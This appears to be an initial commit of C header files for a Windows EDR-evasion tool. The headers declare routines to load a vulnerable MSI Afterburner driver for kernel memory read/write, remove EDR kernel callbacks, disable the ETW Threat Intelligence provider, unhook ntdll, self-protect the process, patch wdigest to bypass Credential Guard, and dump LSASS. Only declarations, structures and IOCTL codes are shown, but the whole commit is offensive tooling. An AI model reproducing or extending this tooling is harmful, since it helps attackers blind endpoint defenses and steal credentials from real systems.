Initial commit for public version

Co-authored-by: Thomas Diot <thomas.diot@wavestone.com>
2026-06-10 17:31:23 +00:00 · 2021-11-08 09:54:05 +01:00
commit 4bff81986b
42 changed files with 8490 additions and 0 deletions
@@ -0,0 +1,12 @@
+#pragma once
+
+#include <Windows.h>
+#include <stdio.h>
+
+#include <Psapi.h>
+#include <tlhelp32.h>
+
+#include "Globals.h"
+#include "WdigestOffsets.h"
+
+DWORD WINAPI disableCredGuardByPatchingLSASS(void);
@@ -0,0 +1,26 @@
+/*
+
+--- Driver install / uninstall functions.
+--- Source and credit: https://github.com/gentilkiwi/mimikatz
+
+*/
+
+#pragma once
+
+#include <Windows.h>
+#include <aclapi.h>
+#include <Tchar.h>
+#include <stdio.h>
+
+#include "Globals.h"
+
+#if !defined(PRINT_ERROR_AUTO)
+#define PRINT_ERROR_AUTO(func) (_tprintf(TEXT("[!] ERROR ") TEXT(__FUNCTION__) TEXT(" ; ") func TEXT(" (0x%08x)\n"), GetLastError()))
+#endif
+
+#define MAX_UNINSTALL_ATTEMPTS 3
+#define OP_SLEEP_TIME 1000
+
+BOOL InstallVulnerableDriver(TCHAR* driverPath);
+
+BOOL UninstallVulnerableDriver();
@@ -0,0 +1,29 @@
+/*
+
+--- ETW Threat Intelligence operations.
+--- Inspiration and credit: https://public.cnotools.studio/bring-your-own-vulnerable-kernel-driver-byovkd/exploits/data-only-attack-neutralizing-etwti-provider
+
+*/
+
+#pragma once
+
+#include <Windows.h>
+#include <Tchar.h>
+#include <stdio.h>
+
+#include "Globals.h"
+#include "KernelMemoryPrimitives.h"
+#include "NtoskrnlOffsets.h"
+
+#define DISABLE_PROVIDER 0x0
+#define ENABLE_PROVIDER 0x1
+
+DWORD64 GetEtwThreatIntProvRegHandleAddress();
+
+DWORD64 GetEtwThreatInt_ProviderEnableInfoAddress(BOOL verbose);
+
+void DisableETWThreatIntelProvider(BOOL verbose);
+
+void EnableETWThreatIntelProvider(BOOL verbose);
+
+BOOL isETWThreatIntelProviderEnabled(BOOL verbose);
@@ -0,0 +1,11 @@
+#pragma once
+
+#include <Windows.h>
+#include <Tchar.h>
+#include <stdio.h>
+
+void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename);
+
+void GetNtoskrnlVersion(TCHAR* ntoskrnlVersion);
+
+void GetWdigestVersion(TCHAR* wdigestVersion);
@@ -0,0 +1,3 @@
+#pragma once
+
+const TCHAR *gVulnDriverServiceName;
@@ -0,0 +1,89 @@
+/*
+
+--- Kernel callbacks operations.
+--- Inspiration and credit: https://github.com/br-sn/CheekyBlinder
+
+*/
+
+#pragma once
+
+#include <Windows.h>
+#include <Tchar.h>
+#include <stdio.h>
+
+#include "Globals.h"
+#include "DriverOps.h"
+#include "KernelMemoryPrimitives.h"
+#include "NtoskrnlOffsets.h"
+
+/*
+* PspCreateProcessNotifyRoutine / PspCreateThreadNotifyRoutine max: 64 callbacks
+* PspLoadImageNotifyRoutine max: 8 callbacks
+* Source: https://blog.gentilkiwi.com/retro-ingenierie/windbg-notifications-kernel
+*/
+#define PSP_MAX_CALLBACKS 0x40
+
+struct KRNL_CALLBACK {
+    TCHAR const* driver;
+    DWORD64 callback_addr;
+    DWORD64 callback_struct;
+    DWORD64 callback_func;
+    BOOL removed;
+};
+
+struct FOUND_EDR_CALLBACKS {
+    DWORD64 index;
+    struct KRNL_CALLBACK EDR_CALLBACKS[256];
+};
+
+TCHAR const* EDR_DRIVERS[];
+
+BOOL isDriverEDR(TCHAR* driver);
+
+void RestoreEDRCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers);
+
+/*
+
+------ Process (PspCreateProcessNotifyRoutine) callbacks.
+
+*/
+
+DWORD64 GetPspCreateProcessNotifyRoutineAddress(void);
+
+void EnumPspCreateProcessNotifyRoutine(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
+
+void RemoveEDRProcessNotifyCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
+
+/*
+
+------ Thread (PspCreateThreadNotifyRoutine) callbacks.
+
+*/
+
+DWORD64 GetPspCreateThreadNotifyRoutineAddress(void);
+
+void EnumPspCreateThreadNotifyRoutine(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
+
+void RemoveEDRThreadNotifyCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
+
+/*
+
+------ Image loading (PspLoadImageNotifyRoutine) callbacks.
+
+*/
+
+DWORD64 GetPspLoadImageNotifyRoutineAddress(void);
+
+void EnumPspLoadImageNotifyRoutine(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
+
+void RemoveEDRImageNotifyCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
+
+/*
+
+------ All EDR Kernel callbacks enumeration / removal.
+
+*/
+
+void EnumAllEDRKernelCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
+
+void RemoveAllEDRKernelCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
@@ -0,0 +1,73 @@
+/*
+
+--- Kernel memory Read / Write primitives through the vulnerable Micro-Star MSI Afterburner driver.
+--- Source and credit: https://github.com/Barakat/CVE-2019-16098/blob/master/CVE-2019-16098.cpp
+
+*/
+
+#pragma once
+
+#include <Windows.h>
+#include <Psapi.h>
+#include <Tchar.h>
+#include <stdio.h>
+
+#include "Globals.h"
+
+struct RTCORE64_MSR_READ {
+    DWORD Register;
+    DWORD ValueHigh;
+    DWORD ValueLow;
+};
+
+struct RTCORE64_MEMORY_READ {
+    BYTE Pad0[8];
+    DWORD64 Address;
+    BYTE Pad1[8];
+    DWORD ReadSize;
+    DWORD Value;
+    BYTE Pad3[16];
+};
+
+struct RTCORE64_MEMORY_WRITE {
+    BYTE Pad0[8];
+    DWORD64 Address;
+    BYTE Pad1[8];
+    DWORD ReadSize;
+    DWORD Value;
+    BYTE Pad3[16];
+};
+
+static const DWORD RTCORE64_MSR_READ_CODE = 0x80002030;
+static const DWORD RTCORE64_MEMORY_READ_CODE = 0x80002048;
+static const DWORD RTCORE64_MEMORY_WRITE_CODE = 0x8000204c;
+
+BYTE ReadMemoryBYTE(HANDLE Device, DWORD64 Address);
+
+WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address);
+
+DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address);
+
+DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address);
+
+void WriteMemoryBYTE(HANDLE Device, DWORD64 Address, DWORD64 Value);
+
+void WriteMemoryWORD(HANDLE Device, DWORD64 Address, DWORD64 Value);
+
+void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value);
+
+/*
+
+--- Kernel exploitation helpers.
+--- Largely inspired from https://github.com/br-sn/CheekyBlinder
+--- Source and credit: https://github.com/br-sn/CheekyBlinder/blob/master/CheekyBlinder/CheekyBlinder.cpp
+
+*/
+
+DWORD64 FindNtoskrnlBaseAddress(void);
+
+TCHAR* FindDriver(DWORD64 address, BOOL verbose);
+
+HANDLE GetDriverHandle();
+
+DWORD64 GetFunctionAddress(LPCSTR function);
@@ -0,0 +1,24 @@
+/*
+
+--- ntoskrnl Notify Routines' offsets search functions using patterns.
+--- Ultimately not used because too unreliable and too prone to BSoD.
+
+*/
+
+#pragma once
+
+#include <Windows.h>
+#include <Tchar.h>
+#include <stdio.h>
+
+#include "KernelMemoryPrimitives.h"
+
+DWORD64 PatternSearchStartingFromAddress(HANDLE Device, DWORD64 startAddress, DWORD bytesToScan, DWORD64 pattern, DWORD64 mask);
+
+DWORD64 ExtractRelativeAddress(HANDLE Device, DWORD64 instructionStartAddress, DWORD64 instructionRelativeAddressOffset, DWORD64 nextInstructionOffset);
+
+DWORD64 GetPspCreateProcessNotifyRoutineAddressUsingPattern(void);
+
+DWORD64 GetPspCreateThreadNotifyRoutineAddressUsingPattern(void);
+
+DWORD64 GetPspLoadImageNotifyRoutineAddressUsingPattern(void);
@@ -0,0 +1,15 @@
+/*
+
+--- LSASS dump functions.
+
+*/
+
+#pragma once
+
+#include <Windows.h>
+#include <Dbghelp.h>
+#include <Tchar.h>
+#include <stdio.h>
+#include <tlhelp32.h>
+
+DWORD WINAPI dumpLSASSProcess(void* data);
@@ -0,0 +1,53 @@
+/*
+
+--- ntoskrnl Notify Routines' offsets from CSV functions.
+--- Hardcoded patterns, with offsets for 350+ ntoskrnl versions provided in the CSV file.
+
+*/
+
+#pragma once
+
+#include <Windows.h>
+#include <Tchar.h>
+
+#include "Globals.h"
+#include "FileVersion.h"
+
+enum NtoskrnlOffsetType {
+    CREATE_PROCESS_ROUTINE = 0,
+    CREATE_THREAD_ROUTINE = 1,
+    LOAD_IMAGE_ROUTINE = 2,
+    PROTECTION_LEVEL = 3,
+    ETW_THREAT_INT_PROV_REG_HANDLE = 4,
+    ETW_REG_ENTRY_GUIDENTRY = 5,
+    ETW_GUID_ENTRY_PROVIDERENABLEINFO = 6,
+    _SUPPORTED_NTOSKRNL_OFFSETS_END
+};
+
+union NtoskrnlOffsets {
+    // structure version of ntoskrnl.exe's offsets
+    struct {
+        // ntoskrnl's PspCreateProcessNotifyRoutine
+        DWORD64 pspCreateProcessNotifyRoutine;
+        // ntoskrnl's PspCreateThreadNotifyRoutine
+        DWORD64 pspCreateThreadNotifyRoutine;
+        // ntoskrnl's PspLoadImageNotifyRoutine
+        DWORD64 pspLoadImageNotifyRoutine;
+        // ntoskrnl EPROCESS's _PS_PROTECTION
+        DWORD64 ps_protection;
+        // ntoskrnl ETW Threat Intelligence's EtwThreatIntProvRegHandle
+        DWORD64 etwThreatIntProvRegHandle;
+        // ntoskrnl _ETW_REG_ENTRY's GuidEntry
+        DWORD64 etwRegEntry_GuidEntry;
+        // ntoskrnl _ETW_GUID_ENTRY's ProviderEnableInfo
+        DWORD64 etwGuidEntry_ProviderEnableInfo;
+    } st;
+
+    // array version (usefull for code factoring)
+    DWORD64 ar[_SUPPORTED_NTOSKRNL_OFFSETS_END];
+};
+
+union NtoskrnlOffsets ntoskrnlOffsets;
+
+// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
+union NtoskrnlOffsets GetNtoskrnlVersionOffsets(TCHAR* ntoskrnlOffsetFilename);
@@ -0,0 +1,14 @@
+#pragma once
+#include "Undoc.h"
+
+LDR_DATA_TABLE_ENTRY* getModuleEntryFromAbsoluteAddr(PVOID addr);
+LDR_DATA_TABLE_ENTRY* getModuleEntryFromNameW(const WCHAR* name);
+LDR_DATA_TABLE_ENTRY* getNextModuleEntryInLoadOrder(LDR_DATA_TABLE_ENTRY* curr);
+
+#if _WIN64
+PEB64* getPEB();
+TEB64* getTEB();
+#else
+PEB* getPEB(void);
+TEB* getTEB(void);
+#endif
@@ -0,0 +1,50 @@
+#pragma once
+#include <Windows.h>
+
+typedef unsigned __int64    QWORD;
+
+
+typedef struct _IMAGE_RELOCATION_ENTRY {
+	WORD Offset : 12;
+	WORD Type : 4;
+} IMAGE_RELOCATION_ENTRY;
+
+typedef struct PE_relocation_t {
+	DWORD RVA;
+	WORD Type : 4;
+} PE_relocation;
+
+typedef struct PE_pointers {
+	BOOL isMemoryMapped;
+	BOOL isInAnotherAddressSpace;
+	HANDLE hProcess;
+	PVOID baseAddress;
+	//headers ptrs
+	IMAGE_DOS_HEADER* dosHeader;
+	IMAGE_NT_HEADERS* ntHeader;
+	IMAGE_OPTIONAL_HEADER* optHeader;
+	IMAGE_DATA_DIRECTORY* dataDir;
+	IMAGE_SECTION_HEADER* sectionHeaders;
+	//export info
+	IMAGE_EXPORT_DIRECTORY* exportDirectory;
+	LPDWORD exportedNames;
+	DWORD exportedNamesLength;
+	LPDWORD exportedFunctions;
+	LPWORD exportedOrdinals;
+	//relocations info
+	DWORD nbRelocations;
+	PE_relocation* relocations;
+} PE;
+
+PE* PE_create(PVOID imageBase, BOOL isMemoryMapped);
+PE* PE_create_from_another_address_space(HANDLE hProcess, PVOID imageBase);
+PVOID PE_RVA_to_Addr(PE* pe, DWORD rva);
+DWORD PE_Addr_to_RVA(PE* pe, PVOID addr);
+IMAGE_SECTION_HEADER* PE_sectionHeader_fromRVA(PE* pe, DWORD rva);
+IMAGE_SECTION_HEADER* PE_nextSectionHeader_fromPermissions(PE* pe, IMAGE_SECTION_HEADER* prev, INT8 readable, INT8 writable, INT8 executable);
+DWORD PE_functionRVA(PE* pe, LPCSTR functionName);
+PVOID PE_functionAddr(PE* pe, LPCSTR functionName);
+VOID PE_parseRelocations(PE* pe);
+VOID PE_rebasePE(PE* pe, LPVOID newBaseAddress);
+PVOID PE_search_pattern(PE* pe, PBYTE pattern, size_t patternSize);
+PVOID PE_search_relative_reference(PE* pe, PVOID target, DWORD relativeReferenceSize);
@@ -0,0 +1,88 @@
+/*
+
+--- Functions to set the current process as a Protected Process (PsProtectedSignerWinTcb-Light).
+--- The code to locate the EPROCESS structure is adapted from:
+    http://blog.rewolf.pl/blog/?p=1683
+
+*/
+
+#pragma once
+
+#include <Windows.h>
+#include <Tchar.h>
+#include <stdio.h>
+
+#include "Globals.h"
+#include "KernelMemoryPrimitives.h"
+#include "NtoskrnlOffsets.h"
+
+//extern union NtoskrnlOffsets ntoskrnlOffsets;
+
+#ifndef NT_SUCCESS
+#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
+#endif
+#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004
+
+#define PROTECTED_PROCESS_MASK	0x00000800
+
+/*
+* Defines the NtQuerySystemInformation function.
+* Undocumented function with a signature subject to possible change in futher Windows versions.
+*/
+#define SystemHandleInformation 0x10
+#define SystemHandleInformationBaseSize 0x1000
+
+typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(
+    ULONG SystemInformationClass,
+    PVOID SystemInformation,
+    ULONG SystemInformationLength,
+    PULONG ReturnLength
+    );
+
+/*
+* Source: https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ex/sysinfo/handle_table_entry.htm
+*/
+typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
+    USHORT UniqueProcessId;
+    USHORT CreatorBackTraceIndex;
+    UCHAR ObjectTypeIndex;
+    UCHAR HandleAttributes;
+    USHORT HandleValue;
+    PVOID Object;
+    ULONG GrantedAccess;
+} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
+
+/*
+* Source: https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ex/sysinfo/handle.htm
+*/
+typedef struct _SYSTEM_HANDLE_INFORMATION {
+    ULONG NumberOfHandles;
+    SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
+} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
+
+/*
+* Defines the structures related to the process protection (EPROCESS's Protection attribute).
+* Source: https://docs.microsoft.com/en-us/windows/win32/procthread/zwqueryinformationprocess
+*/
+typedef enum _PS_PROTECTED_TYPE {
+    PsProtectedTypeNone = 0,
+    PsProtectedTypeProtectedLight = 1,
+    PsProtectedTypeProtected = 2
+} PS_PROTECTED_TYPE, * PPS_PROTECTED_TYPE;
+
+typedef enum _PS_PROTECTED_SIGNER {
+    PsProtectedSignerNone = 0,
+    PsProtectedSignerAuthenticode,
+    PsProtectedSignerCodeGen,
+    PsProtectedSignerAntimalware,
+    PsProtectedSignerLsa,
+    PsProtectedSignerWindows,
+    PsProtectedSignerWinTcb,
+    PsProtectedSignerWinSystem,
+    PsProtectedSignerApp,
+    PsProtectedSignerMax
+} PS_PROTECTED_SIGNER, * PPS_PROTECTED_SIGNER;
+
+DWORD64 GetSelfEPROCESSAddress(BOOL verbose);
+
+int SetCurrentProcessAsProtected(BOOL verbose);
@@ -0,0 +1,244 @@
+#pragma once
+#include "Undoc.h"
+
+//
+// [TEB/PEB UNDER 64-BIT WINDOWS]
+// This file represents the 64-bit PEB and associated data structures for 64-bit Windows
+// This PEB is allegedly valid between XP thru [at least] Windows 8
+//
+// [REFERENCES]
+//      http://terminus.rewolf.pl/terminus/structures/ntdll/_PEB_x64.html
+//      http://terminus.rewolf.pl/terminus/structures/ntdll/_TEB64_x86.html
+//      https://github.com/giampaolo/psutil/commit/babd2b73538fcb6f3931f0ab6d9c100df6f37bcb     (RTL_USER_PROCESS_PARAMETERS)
+//      https://redplait.blogspot.com/2011/09/w8-64bit-teb-peb.html                             (TEB)
+//
+// [CHANGELIST]
+//    2018-05-02:   -now can be compiled alongside windows.h (without changes) or by defining WANT_ALL_WINDOWS_H_DEFINITIONS so this file can be used standalone
+//                  -this file may also be included alongside tebpeb32.h which can be found at http://bytepointer.com/resources/tebpeb32.h
+//                  -64-bit types no longer clash with the 32-bit ones; e.g. UNICODE_STRING64, RTL_USER_PROCESS_PARAMETERS64, PEB64 (same result whether 32 or 64-bit compiler is used)
+//                  -added more QWORD aliases (i.e. HANDLE64 and PTR64) so underlying types are clearer, however most PEB members remain generic QWORD placeholders for now
+//                  -fixed missing semicolon bug in UNICODE_STRING64
+//                  -added prliminary RTL_USER_PROCESS_PARAMETERS64 and TEB64 with offsets
+//                  -included byte offsets for PEB64
+//
+//    2017-08-25:   initial public release
+//
+
+
+//
+// base types
+//
+
+//always declare 64-bit types
+#ifdef _MSC_VER
+	//Visual C++
+typedef unsigned __int64    QWORD;
+typedef __int64             INT64;
+#else
+	//GCC
+typedef unsigned long long  QWORD;
+typedef long long           INT64;
+#endif
+typedef QWORD                   PTR64;
+#ifndef __HANDLE64_DEFINED__
+typedef QWORD                   HANDLE64;
+#endif
+
+#include <windows.h>
+//UNCOMMENT line below if you are not including windows.h
+//#define WANT_ALL_WINDOWS_H_DEFINITIONS
+#ifdef WANT_ALL_WINDOWS_H_DEFINITIONS
+
+//base types
+typedef unsigned char           BYTE;
+typedef char                    CHAR;
+typedef unsigned short          WORD;
+typedef short                   INT16;
+typedef unsigned long           DWORD;
+typedef long                    INT32;
+typedef unsigned __int64        QWORD;
+typedef __int64                 INT64;
+typedef void* HANDLE;
+typedef unsigned short          WCHAR;
+
+//base structures
+union LARGE_INTEGER
+{
+	struct
+	{
+		DWORD   LowPart;
+		INT32   HighPart;
+	} u;
+	INT64       QuadPart;
+};
+
+union ULARGE_INTEGER
+{
+	struct
+	{
+		DWORD LowPart;
+		DWORD HighPart;
+	} u;
+	QWORD       QuadPart;
+};
+
+#endif //#ifdef WANT_ALL_WINDOWS_H_DEFINITIONS
+
+typedef struct UNICODE_STRING64
+{
+	union
+	{
+		struct
+		{
+			WORD Length;
+			WORD MaximumLength;
+		} u;
+		QWORD dummyalign;
+	} uOrDummyAlign;
+	QWORD Buffer;
+} UNICODE_STRING64;
+
+typedef struct _CLIENT_ID64
+{
+	QWORD  ProcessId;
+	QWORD  ThreadId;
+} CLIENT_ID64;
+
+
+//NOTE: the members of this structure are not yet complete
+typedef struct _RTL_USER_PROCESS_PARAMETERS64
+{
+	BYTE                    Reserved1[16];                 //0x00
+	QWORD                   Reserved2[5];                  //0x10
+	UNICODE_STRING64        CurrentDirectoryPath;          //0x38
+	HANDLE64                CurrentDirectoryHandle;        //0x48
+	UNICODE_STRING64        DllPath;                       //0x50
+	UNICODE_STRING64        ImagePathName;                 //0x60
+	UNICODE_STRING64        CommandLine;                   //0x70
+	PTR64                   Environment;                   //0x80
+} RTL_USER_PROCESS_PARAMETERS64;
+
+//
+// PEB64 structure - TODO: comb more through http://terminus.rewolf.pl/terminus/structures/ntdll/_PEB_x64.html and add OS delineations and Windows 10 updates
+//
+// The structure represented here is a work-in-progress as only members thru offset 0x320 are listed; the actual sizes per OS are:
+//    0x0358    XP/WS03
+//    0x0368    Vista
+//    0x037C    Windows 7
+//    0x0388    Windows 8
+//    0x07A0    Windows 10
+//
+typedef struct PEB64
+{
+	union
+	{
+		struct
+		{
+			BYTE InheritedAddressSpace;                                 //0x000
+			BYTE ReadImageFileExecOptions;                              //0x001
+			BYTE BeingDebugged;                                         //0x002
+			BYTE _SYSTEM_DEPENDENT_01;                                  //0x003
+		} flags;
+		QWORD dummyalign;
+	} dword0;
+	QWORD                           Mutant;                             //0x0008
+	QWORD                           ImageBaseAddress;                   //0x0010
+	PEB_LDR_DATA* Ldr;                                //0x0018
+	PTR64                           ProcessParameters;                  //0x0020 / pointer to RTL_USER_PROCESS_PARAMETERS64
+	QWORD                           SubSystemData;                      //0x0028
+	QWORD                           ProcessHeap;                        //0x0030
+	QWORD                           FastPebLock;                        //0x0038
+	QWORD                           _SYSTEM_DEPENDENT_02;               //0x0040
+	QWORD                           _SYSTEM_DEPENDENT_03;               //0x0048
+	QWORD                           _SYSTEM_DEPENDENT_04;               //0x0050
+	union
+	{
+		QWORD                       KernelCallbackTable;                //0x0058
+		QWORD                       UserSharedInfoPtr;                  //0x0058
+	}KernelCallbackTableOrUserSharedInfoPtr;
+	DWORD                           SystemReserved;                     //0x0060
+	DWORD                           _SYSTEM_DEPENDENT_05;               //0x0064
+	QWORD                           _SYSTEM_DEPENDENT_06;               //0x0068
+	QWORD                           TlsExpansionCounter;                //0x0070
+	QWORD                           TlsBitmap;                          //0x0078
+	DWORD                           TlsBitmapBits[2];                   //0x0080
+	QWORD                           ReadOnlySharedMemoryBase;           //0x0088
+	QWORD                           _SYSTEM_DEPENDENT_07;               //0x0090
+	QWORD                           ReadOnlyStaticServerData;           //0x0098
+	QWORD                           AnsiCodePageData;                   //0x00A0
+	QWORD                           OemCodePageData;                    //0x00A8
+	QWORD                           UnicodeCaseTableData;               //0x00B0
+	DWORD                           NumberOfProcessors;                 //0x00B8
+	union
+	{
+		DWORD                       NtGlobalFlag;                       //0x00BC
+		DWORD                       dummy02;                            //0x00BC
+	}NtGlobalFlagOrdummy02;
+	LARGE_INTEGER                   CriticalSectionTimeout;             //0x00C0
+	QWORD                           HeapSegmentReserve;                 //0x00C8
+	QWORD                           HeapSegmentCommit;                  //0x00D0
+	QWORD                           HeapDeCommitTotalFreeThreshold;     //0x00D8
+	QWORD                           HeapDeCommitFreeBlockThreshold;     //0x00E0
+	DWORD                           NumberOfHeaps;                      //0x00E8
+	DWORD                           MaximumNumberOfHeaps;               //0x00EC
+	QWORD                           ProcessHeaps;                       //0x00F0
+	QWORD                           GdiSharedHandleTable;               //0x00F8
+	QWORD                           ProcessStarterHelper;               //0x0100
+	QWORD                           GdiDCAttributeList;                 //0x0108
+	QWORD                           LoaderLock;                         //0x0110
+	DWORD                           OSMajorVersion;                     //0x0118
+	DWORD                           OSMinorVersion;                     //0x011C
+	WORD                            OSBuildNumber;                      //0x0120
+	WORD                            OSCSDVersion;                       //0x0122
+	DWORD                           OSPlatformId;                       //0x0124
+	DWORD                           ImageSubsystem;                     //0x0128
+	DWORD                           ImageSubsystemMajorVersion;         //0x012C
+	QWORD                           ImageSubsystemMinorVersion;         //0x0130
+	union
+	{
+		QWORD                       ImageProcessAffinityMask;           //0x0138
+		QWORD                       ActiveProcessAffinityMask;          //0x0138
+	}ImageProcessAffinityMaskOrActiveProcessAffinityMask;
+	QWORD                           GdiHandleBuffer[30];                //0x0140
+	QWORD                           PostProcessInitRoutine;             //0x0230
+	QWORD                           TlsExpansionBitmap;                 //0x0238
+	DWORD                           TlsExpansionBitmapBits[32];         //0x0240
+	QWORD                           SessionId;                          //0x02C0
+	ULARGE_INTEGER                  AppCompatFlags;                     //0x02C8
+	ULARGE_INTEGER                  AppCompatFlagsUser;                 //0x02D0
+	QWORD                           pShimData;                          //0x02D8
+	QWORD                           AppCompatInfo;                      //0x02E0
+	UNICODE_STRING64                CSDVersion;                         //0x02E8
+	QWORD                           ActivationContextData;              //0x02F8
+	QWORD                           ProcessAssemblyStorageMap;          //0x0300
+	QWORD                           SystemDefaultActivationContextData; //0x0308
+	QWORD                           SystemAssemblyStorageMap;           //0x0310
+	QWORD                           MinimumStackCommit;                 //0x0318
+
+} PEB64; //struct PEB64
+
+//
+// TEB64 structure - preliminary structure; the portion listed current at least as of Windows 8
+//
+typedef struct TEB64
+{
+	BYTE                            NtTib[56];                          //0x0000 / NT_TIB64 structure
+	PTR64                           EnvironmentPointer;                 //0x0038
+	CLIENT_ID64                     ClientId;                           //0x0040
+	PTR64                           ActiveRpcHandle;                    //0x0050
+	PTR64                           ThreadLocalStoragePointer;          //0x0058
+	PTR64                           ProcessEnvironmentBlock;            //0x0060 / ptr to PEB64
+	DWORD                           LastErrorValue;                     //0x0068
+	DWORD                           CountOfOwnedCriticalSections;       //0x006C
+	PTR64                           CsrClientThread;                    //0x0070
+	PTR64                           Win32ThreadInfo;                    //0x0078
+	DWORD                           User32Reserved[26];                 //0x0080
+	DWORD                           UserReserved[6];                    //0x00E8
+	PTR64                           WOW32Reserved;                      //0x0100
+	DWORD                           CurrentLocale;                      //0x0108
+	DWORD                           FpSoftwareStatusRegister;           //0x010C
+	PTR64                           SystemReserved1[54];                //0x0110
+	DWORD                           ExceptionCode;                      //0x02C0
+	PTR64                           ActivationContextStackPointer;      //0x02C8
+
+} TEB64; //struct TEB64
@@ -0,0 +1,64 @@
+#pragma once
+#include <Windows.h>
+#include "Undoc.h"
+#include "PEParser.h"
+#include "PEBBrowse.h"
+#include <stdio.h>
+#include <TlHelp32.h>
+#include <DbgHelp.h>
+#include <pathcch.h>
+
+typedef struct diff_t {
+	PVOID disk_ptr;
+	PVOID mem_ptr;
+	size_t size;
+} diff;
+
+typedef struct hook_t {
+	PVOID disk_function;
+	PVOID mem_function;
+	LPCSTR functionName;
+	diff* list_patches;
+} hook;
+
+typedef NTSTATUS(NTAPI* pNtProtectVirtualMemory) (
+	IN HANDLE               ProcessHandle,
+	IN OUT PVOID* BaseAddress,
+	IN OUT PSIZE_T           NumberOfBytesToProtect,
+	IN ULONG                NewAccessProtection,
+	OUT PULONG              OldAccessProtection);
+
+typedef NTSTATUS(NTAPI* pRtlGetVersion)(
+	OUT LPOSVERSIONINFOEXW lpVersionInformation);
+
+enum unhook_method_e {
+	UNHOOK_NONE,
+
+	// Uses the (probably monitored) NtProtectVirtualMemory function in ntdll to remove all detected hooks
+	UNHOOK_WITH_NTPROTECTVIRTUALMEMORY,
+
+	// Constructs an "unhooked" (i.e. unmonitored) version of NtProtectVirtualMemory, by allocating an executable trampoling jumping over the hook, and remove all detected hooks
+	UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE,
+
+	// Search for an existing trampoline allocated by the EDR itself, to get an "unhooked" (i.e. unmonitored) version of NtProtectVirtualMemory, and remove all detected hooks
+	UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE,
+
+	// Loads an additionnal version of ntdll library into memory, and use the (hopefully unmonitored) version of NtProtectVirtualMemory present in this library to remove all detected hooks
+	UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY,
+
+	// Allocates a shellcode that uses a direct syscall to call NtProtectVirtualMemory, and uses it to remove all detected hooks
+	UNHOOK_WITH_DIRECT_SYSCALL
+};
+
+hook* searchHooks(const char* csvFileName);
+PVOID hookResolver(PBYTE hookAddr);
+pNtProtectVirtualMemory getSafeVirtualProtectUsingTrampoline(DWORD unhook_method);
+VOID unhook(hook* hook, DWORD unhook_method);
+
+
+/*
+* Cache for NTDLL PE (accessed often)
+*/
+PE* ntdllDiskPe_g;
+PE* ntdllMemPe_g;
+void getNtdllPEs(PE** ntdllPE_mem, PE** ntdllPE_disk);
@@ -0,0 +1,38 @@
+/*
+
+--- Functions to bypass Credential Guard by enabling Wdigest through patching of the g_fParameter_UseLogonCredential and g_IsCredGuardEnabled attributes in memory.
+--- Full source and credit to https://teamhydra.blog/2020/08/25/bypassing-credential-guard/
+--- Code adapted from: https://gist.github.com/N4kedTurtle/8238f64d18932c7184faa2d0af2f1240
+
+*/
+
+#pragma once
+
+#include <Windows.h>
+#include <Tchar.h>
+
+#include "Globals.h"
+#include "FileVersion.h"
+
+enum WdigestOffsetType {
+    g_fParameter_UseLogonCredential = 0,
+    g_IsCredGuardEnabled = 1
+};
+
+union WdigestOffsets {
+    // structure version of wdigest.dll's offsets
+    struct {
+        // wdigest.dll's g_fParameter_UseLogonCredential
+        DWORD64 g_fParameter_UseLogonCredential;
+        // wdigest.dll's g_IsCredGuardEnabled 
+        DWORD64 g_IsCredGuardEnabled;
+    } st;
+
+    // array version (usefull for code factoring)
+    DWORD64 ar[2];
+};
+
+union WdigestOffsets wdigestOffsets;
+
+// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
+union WdigestOffsets GetWdigestVersionOffsets(TCHAR* wdigestOffsetFilename);